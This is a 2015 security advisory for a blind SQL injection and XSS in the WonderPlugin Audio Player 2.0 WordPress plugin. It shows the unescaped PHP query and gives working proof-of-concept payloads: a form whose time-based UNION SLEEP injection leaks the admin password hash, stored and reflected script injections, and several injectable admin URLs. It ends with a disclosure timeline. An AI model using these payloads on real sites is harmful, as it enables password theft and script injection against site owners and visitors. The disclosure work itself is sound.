16-02-2015 / Vulnerabilities

WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS

wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

File: wonderplugin-audio\wonderpluginaudio.php

add_action( 'wp_ajax_wonderplugin_audio_save_item', array($this, 'wp_ajax_save_item') );
function wp_ajax_save_item() {
	header('Content-Type: application/json');
	echo json_encode($this->wonderplugin_audio_controller->save_item($_POST["item"]));
	die();
}

save_item() uses is_id_exist() in which $id is not escaped properly.

File: wonderplugin-audio\app\class-wonderplugin-audio-model.php

function is_id_exist($id)
{
	global $wpdb;
	$table_name = $wpdb->prefix . "wonderplugin_audio";
	$audio_row = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $id");
	return ($audio_row != null);
}

$id is also not escaped inside generate_body_code(), clone_item(), and get_item_data() but those places are not accessible for non-admin users.

What is more $_REQUEST['itemid'] can be also used for reflected XSS.

Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">
</form>

This sql will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">
</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

Another Blind SQL payloads which will work only for users with admin privileges:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_item&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items&action=clone&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_edit_item&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)

For reflected XSS use:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_item&itemid=\"><script>alert(String.fromCharCode(88,83,83));</script>
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_edit_item&itemid=\"><script>alert(String.fromCharCode(88,83,83));</script>

Timeline

  • 20-01-2015: Discovered
  • 20-01-2015: Vendor notified
  • 21-01-2015: Version 2.1 released, issue resolved